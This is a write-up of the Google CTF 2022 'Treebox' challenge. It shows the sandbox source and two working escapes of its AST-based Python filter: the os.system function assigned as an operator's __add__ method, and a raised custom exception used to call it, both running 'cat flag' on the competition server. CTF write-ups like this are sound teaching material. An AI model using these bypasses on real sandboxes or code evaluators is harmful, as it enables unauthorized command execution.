Google CTF 2022 Treebox Writeup

This blog post contains the solution(s) for the Treebox sandbox that lambwheit and I worked on during this year's Google CTF.

Challenge description:

I think I finally got Python sandboxing right.

Challenge source code:

 0#!/usr/bin/python3 -u
 1#
 2# Flag is in a file called "flag" in cwd.
 3#
 4# Quote from Dockerfile:
 5#   FROM ubuntu:22.04
 6#   RUN apt-get update && apt-get install -y python3
 7#
 8import ast
 9import sys
10import os
11
12def verify_secure(m):
13  for x in ast.walk(m):
14    match type(x):
15      case (ast.Import|ast.ImportFrom|ast.Call):
16        print(f"ERROR: Banned statement {x}")
17        return False
18  return True
19
20abspath = os.path.abspath(__file__)
21dname = os.path.dirname(abspath)
22os.chdir(dname)
23
24print("-- Please enter code (last line must contain only --END)")
25source_code = ""
26while True:
27  line = sys.stdin.readline()
28  if line.startswith("--END"):
29    break
30  source_code += line
31
32tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
33if verify_secure(tree):  # Safe to execute!
34  print("-- Executing safe code:")
35  compiled = compile(source_code, "input.py", 'exec')
36  exec(compiled)

The goal of this challenge would be to bypass the ast.Import|ast.ImportFrom|ast.Call check which prevents (or should prevent) us from importing libraries / executing function calls.


The Source Code

First, let's look at how the application receives the user input:

0print("-- Please enter code (last line must contain only --END)")
1source_code = ""
2while True:
3  line = sys.stdin.readline()
4  if line.startswith("--END"):
5    break
6  source_code += line

After connecting to the server it will display the message in the first line; then we can supply our input and end it with --END, for example:

0nop•~» nc treebox.2022.ctfcompetition.com 1337                           
1
2== proof-of-work: disabled ==
3-- Please enter code (last line must contain only --END)
42+2
5--END
6-- Executing safe code:
7
8nop•~»                                                                                                                                                                                                  

The code (2+2) gets executed by the following lines:

0  compiled = compile(source_code, "input.py", 'exec')
1  exec(compiled)

Unfortunately, before those lines get reached, our input has to pass the verify_secure check:

0def verify_secure(m):
1  for x in ast.walk(m):
2    match type(x):
3      case (ast.Import|ast.ImportFrom|ast.Call):
4        print(f"ERROR: Banned statement {x}")
5        return False
6  return True

To keep it simple: as soon as we include some kind of Import/ImportFrom statement or a function call in our input, this check will fail and the exec() call won't be reached.

0tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
1if verify_secure(tree):  # Safe to execute!
2  print("-- Executing safe code:")
3  compiled = compile(source_code, "input.py", 'exec')
4  exec(compiled)

Bypassing The Filter (nop's version)

Since using operators (e.g. the add operator) is allowed, I solved the challenge by overloading the add operator of the exit class.

The treebox script already imports OS, so it's possible to execute Linux commands using os.system(). Eventually, we want to execute the following code on the target machine: os.system('cat flag.txt')

cat flag.txt is the function parameter that I set up first, by storing it in a variable:

0payload = 'cat flag'

Next, I overloaded the add operator of the exit function class:

0exit.__class__.__add__ = os.system

The +-sign is now overloaded with os.system.

Finally, we want to execute exit() with the overloaded operator and the function parameter stored in the payload-variable.

Python is quite funny here and no brackets are required:

0exit + payload

Final payload:

0payload = 'cat flag'
1exit.__class__.__add__ = os.system
2exit + payload 
3--END

Aaaand it worked:

fffc42758ee50cd3d4f8cbdc1843e8a4.png


Bypassing The Filter (lambwheit's version)

While I conducted my research, lambwheit found an article from hacktricks, targeting precisely the problem we were facing (hacktricks article).

Both techniques build upon the same concept, though this one utilizes raising an error instead of just calling a function / using an operator.

In the end, he used the code provided by hacktricks and just changed it from starting a bash to reading the flag:

 0# Declare arbitrary exception class
 1class Klecko(Exception):
 2  def __add__(self,algo):
 3    return 1
 4
 5# Change add function
 6Klecko.__add__ = os.system
 7
 8# Generate an object of the class with a try/except + raise
 9try:
10  raise Klecko
11except Klecko as k:
12  k + "cat flag" #RCE abusing __add__
13--END

Aaaand it worked as well:

1ef872e3e1c9fef8f0d7f718e0a4e483.png

Thanks to lambwheit for accompanying me in RTN's Discord voice chat! :)